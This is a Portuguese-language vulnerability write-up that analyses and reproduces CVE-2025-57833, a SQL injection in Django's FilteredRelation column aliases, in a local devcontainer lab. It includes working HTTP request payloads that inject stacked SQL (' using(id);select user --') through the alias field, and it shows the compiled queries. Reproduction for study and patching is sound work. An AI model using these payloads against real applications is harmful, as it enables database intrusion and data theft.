
Analysis and reproduction of CVE-2025-57833
Vulnerabilidade de injeção SQL descoberta no Django após um ano, provavelmente causada por aliases (já que aliases não podem ser pré-compilados)
Esta vulnerabilidade afeta a funcionalidade FilteredRelation no framework Django. Quando se utilizam os métodos QuerySet.annotate() ou QuerySet.alias() e se fornece um alias de coluna via expansão de dicionário Python (**kwargs), existe risco de injeção SQL. Isso ocorre porque as chaves do dicionário (ou seja, os aliases de coluna) não são suficientemente validadas, permitindo que um atacante construa um dicionário malicioso para injetar instruções SQL irrestritas.
O escopo de impacto desta vulnerabilidade é:
Este projeto de vulnerabilidade utiliza devcontainer do VSCode para construção.
1️⃣ Abrir o projeto
Abra o diretório raiz do projeto existente (que contém a pasta .devcontainer) com o VS Code.
2️⃣ Reabrir o contêiner (construir Dev Container)
Pressione Ctrl+Shift+P (Windows/Linux) ou Cmd+Shift+P (Mac)
Digite Remote-Containers: Reopen in Container
O VS Code lerá a configuração .devcontainer e construirá o contêiner (a primeira construção pode levar alguns minutos).
⚠️ Se o Dockerfile ou dependências foram atualizados, escolha Remote-Containers: Rebuild Container para garantir o ambiente mais recente.
3️⃣ Executar o servidor de desenvolvimento Django
Abra a paleta de comandos Ctrl+Shift+P
Digite Tasks: Run Task
Selecione django:start (a tarefa já está configurada em .vscode/tasks.json)
Esta tarefa iniciará o servidor de desenvolvimento Django dentro do contêiner.
Escuta por padrão em 0.0.0.0:8085
4️⃣ Abrir o navegador e acessar o projeto
Abra o navegador e acesse:
http://localhost:8085
5️⃣ Notas
Primeira execução:
Pode ser necessário executar migrações do banco de dados:
python manage.py migrate
Após iniciar o servidor, acesse http://localhost:8085
Acesse o endpoint /book/search normalmente
POST /book/search HTTP/1.1
Host: localhost:8085
Content-Type: application/json
{"alias":"XXX","author":"Bob"}

Neste momento, o SQL compilado pelo ORM do Django é:
SELECT "vuln_book"."id", "vuln_book"."title", "vuln_book"."author_id" FROM "vuln_book" INNER JOIN "vuln_author" XXX ON ("vuln_book"."author_id" = XXX."id" AND (XXX."name" = Bob)) WHERE XXX."id" > 0
Pode-se ver que foi criado um alias XXX para a tabela vuln_author. Com base na análise do patch acima, sabe-se que atualmente não há filtragem para XXX, portanto é possível injetar nele.
Usar diretamente injeção empilhada não funcionará porque a primeira instrução SQL não é válida, então a segunda instrução não será executada.
POST /book/search HTTP/1.1
Host: localhost:8085
Content-Type: application/json
{"alias":"XXX;select user --","author":"Bob"}

Portanto, é necessário primeiro tornar a primeira instrução válida. Como se trata de uma relação, use diretamente a sintaxe USING.
POST /book/search HTTP/1.1
Host: localhost:8085
Content-Type: application/json
{"alias":" using(id);select user --","author":"Bob"}

A injeção foi bem-sucedida, revelando que o usuário de execução do banco de dados é postgres. Neste ponto, a instrução SQL compilada com sucesso é:
SELECT "vuln_book"."id", "vuln_book"."title", "vuln_book"."author_id" FROM "vuln_book" INNER JOIN "vuln_author" using(id);select user -- ON ("vuln_book"."author_id" = using(id);select user --."id" AND ( using(id);select user --."name" = Bob)) WHERE using(id);select user --."id" > 0